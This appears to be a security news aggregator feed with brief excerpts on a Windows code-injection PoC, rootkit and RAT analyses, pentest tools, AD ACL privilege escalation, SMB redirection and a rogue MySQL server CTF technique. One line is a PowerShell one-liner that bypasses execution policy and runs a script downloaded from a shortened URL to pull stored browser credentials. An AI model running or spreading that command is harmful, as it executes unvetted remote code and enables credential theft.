A tiny PoC to inject and execute code into explorer.exe with WM_SETTEXT+WM_COPYDATA+SetThreadContext
APIs used: SendMessage(WM_SETTEXT), SendMessage(WM_COPYDATA), SetThreadContext, OpenProcess, VirtualQueryEx, SuspendThread, ResumeThread, Toolhelp apis.
This code uses WM_SETTEXT and WM_COPYDATA messages to cause our controlled data to be copied into target process address space.
In this way, we introduce a very simple ROP to launch notepad with CreateProcess(“notepad.exe”) and call ExitProcess later.
We use SetThreadContext to redirect the thread.
Tests done on platform:
Windows 10 Pro 64 bits, version 1709 (OS comp. 16299.125).
Ntdll version 10.0.16299.64.
The story of the mysterious malware detected by ESET as Win32/Rootkit.Avatar began in February 2013 when some adverts for this rootkit leaked from Russian cybercrime forums (http://pastebin.com/maPY7SS8). This information produced some heated discussions in the malware research community, however a sample of the Avatar rootkit was not found and published, until now. In this blog we present an in-depth analysis of the Win32/Rootkit.Avatar family, which has some surprising features, and is currently available for sale or rent in the crimeware marketplace.
Win32/Rootkit.Avatar uses a driver infection technique twice: the first in the dropper so as to bypass detections by HIPS, and the second in the rootkit driver for surviving after system reboot. The infection technique is restricted in its capability (by code signing policy for kernel-mode modules) and Win32/Rootkit.Avatar works only on x86 systems. We already analyzed in detail, some years ago, how the TDL3 rootkit family also infected system drivers so as to survive after reboot (TDL3: The Rootkit of All Evil?).
Before 64-bit versions of Microsoft Windows became so prevalent, operating system tricks for infection using system drivers were really popular in rootkits. But the need for bypassing code signing policy has brought in a new generation of bootkits. More details about the complex bootkit family Win32/Gapz were presented a few weeks ago in our research whitepaper “Mind the Gapz: The most complex bootkit ever analyzed?”.
continue reading the original article at welivesecurity.com
Welcome to the Infection Monkey!
The Infection Monkey is an open source security tool for testing a data center’s resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server.
The Infection Monkey is comprised of two parts:
- Monkey – A tool which infects other machines and propagates to them
- Monkey Island – A dedicated server to control and visualize the Infection Monkey’s progress inside the data center
To read more about the Monkey, visit http://infectionmonkey.com
Since the publication of the blog post, one of the anti-VM capability was commented a lot on Twitter: the detection of Virtual Machines by checking the temperature of the system. We decided to add more details and clarifications concerning this feature. GravityRAT uses a WMI request in order to get the current temperature of the hardware. Here is the output of the query on a physical machine (a Surface Book):
The query returns the temperature of 7 thermal zones.
Here is the output on a Virtual Machine executed by Hyper-V on the same hardware:
The feature is not supported. The malware author used this behavior in order to identify VM (such as Sandboxes).
From our tests and the feedback from several researchers, this monitoring is not supported on Hyper-V, VMWare Fusion, VirtualBox, KVM and XEN. It’s important to notice that several recent physical systems do not support it (a researcher reported some Lenovo and Dell hosts did not support this). It means that GravityRAT will consider this physical machine as VMs. Importantly to note this check is not foolproof as we have identified physical hosts which do not report back the temperature, however, it should also be considered a check that is identifying a lot of virtual environments. This is particularly important due to the amount of sandboxing & malware detonation being carried out within virtual environments by researchers.
Continue reading “GravityRAT – The Two-Year Evolution Of An APT Targeting India”
Massive NSE (Nmap Scripting Engine) AutoSploit and AutoScanner. The Nmap Scripting Engine (NSE) is one of Nmap’s most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language ) to automate a wide variety of networking tasks. Those scripts are executed in parallel with the speed and efficiency you expect from Nmap. Users can rely on the growing and diverse set of scripts distributed with Nmap, or write their own to meet custom needs. For more informations https://nmap.org/book/man-nse.html
Continue reading “AutoNSE – Massive NSE (Nmap Scripting Engine) AutoSploit and AutoScanner”
During internal penetration tests, it happens quite often that we manage to obtain Domain Administrative access within a few hours. Contributing to this are insufficient system hardening and the use of insecure Active Directory defaults. In such scenarios publicly available tools help in finding and exploiting these issues and often result in obtaining domain administrative privileges. This blogpost describes a scenario where our standard attack methods did not work and where we had to dig deeper in order to gain high privileges in the domain. We describe more advanced privilege escalation attacks using Access Control Lists and introduce a new tool called Invoke-Aclpwn and an extension to ntlmrelayx that automate the steps for this advanced attack.
AD, ACLs and ACEs
As organizations become more mature and aware when it comes to cyber security, we have to dig deeper in order to escalate our privileges within an Active Directory (AD) domain. Enumeration is key in these kind of scenarios. Often overlooked are the Access Control Lists (ACL) in AD.An ACL is a set of rules that define which entities have which permissions on a specific AD object. These objects can be user accounts, groups, computer accounts, the domain itself and many more. The ACL can be configured on an individual object such as a user account, but can also be configured on an Organizational Unit (OU), which is like a directory within AD. The main advantage of configuring the ACL on an OU is that when configured correctly, all descendent objects will inherit the ACL.The ACL of the Organizational Unit (OU) wherein the objects reside, contains an Access Control Entry (ACE) that defines the identity and the corresponding permissions that are applied on the OU and/or descending objects.The identity that is specified in the ACE does not necessarily need to be the user account itself; it is a common practice to apply permissions to AD security groups. By adding the user account as a member of this security group, the user account is granted the permissions that are configured within the ACE, because the user is a member of that security group.
Group memberships within AD are applied recursively. Let’s say that we have three groups:
Group_C is a member of Group_B which itself is a member of Group_A. When we add Bob as a member of Group_C, Bob will not only be a member of Group_C, but also be an indirect member of Group_B and Group_A. That means that when access to an object or a resource is granted to Group_A, Bob will also have access to that specific resource. This resource can be an NTFS file share, printer or an AD object, such as a user, computer, group or even the domain itself.
Providing permissions and access rights with AD security groups is a great way for maintaining and managing (access to) IT infrastructure. However, it may also lead to potential security risks when groups are nested too often. As written, a user account will inherit all permissions to resources that are set on the group of which the user is a (direct or indirect) member. If Group_A is granted access to modify the domain object in AD, it is quite trivial to discover that Bob inherited these permissions. However, if the user is a direct member of only 1 group and that group is indirectly a member of 50 other groups, it will take much more effort to discover these inherited permissions.
continue reading the original article
Tools developed to test the Redirect to SMB issue. These tools are all developed for Python 2.7. More details about Redirect to SMB can be found in our white paper and in our blog.
The tools included in this repository are as follows:
- smbtrap2.py – A low dependency SMB server which only supports authentication. It logs authentication attempts, as well as attempts to crack them with a very small dictionary in quickcrack.py
- redirect_server.py – A very simple Redirect to SMB server which simply provides 302 responses to every HTTP request, which redirect to the SMB server supplied on the command line.
- smbtrap-mitmproxy-inline.py – A small mitmproxy inline script which replaces functionality for redirect_server.py, allowing for greater flexibility.
Extract stored credentials from Internet Explorer and Edge, Powershell Solution:
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/2K75g15')"
Recently, I was playing the VolgaCTF 2018 CTF with my teammates from TheGoonies and we came across an interesting Web challenge that we didn’t manage to solve during the competition. The following day, I read the write-up and learned a cool technique to attack the MySQL client directly via the LOAD DATA INFILE statement.
The “Corp Monitoring” task consisted of a Corporate Monitoring API that would test the healthcheck of a given server by connecting and verifying if the FTP, Web and MySQL servers were up. The MySQL user for the connection was restricted and the healthcheck validation was based on a few queries including the “SHOW DATABASE” command.
The key to solve the challenge was to identify the “Can Use LOAD DATA LOCAL” client capability and point the API to a Rogue MySQL server that would read arbitrary files from the client via LOAD DATA INFILE statements.
After reading about the technique, I decided to check how several libraries, clients and Web Frameworks could be exploited. I also ended up writing a a Bettercap module to abuse this feature in combination with MITM attacks.
continue reading the original article
Rogue MySql Server at github.com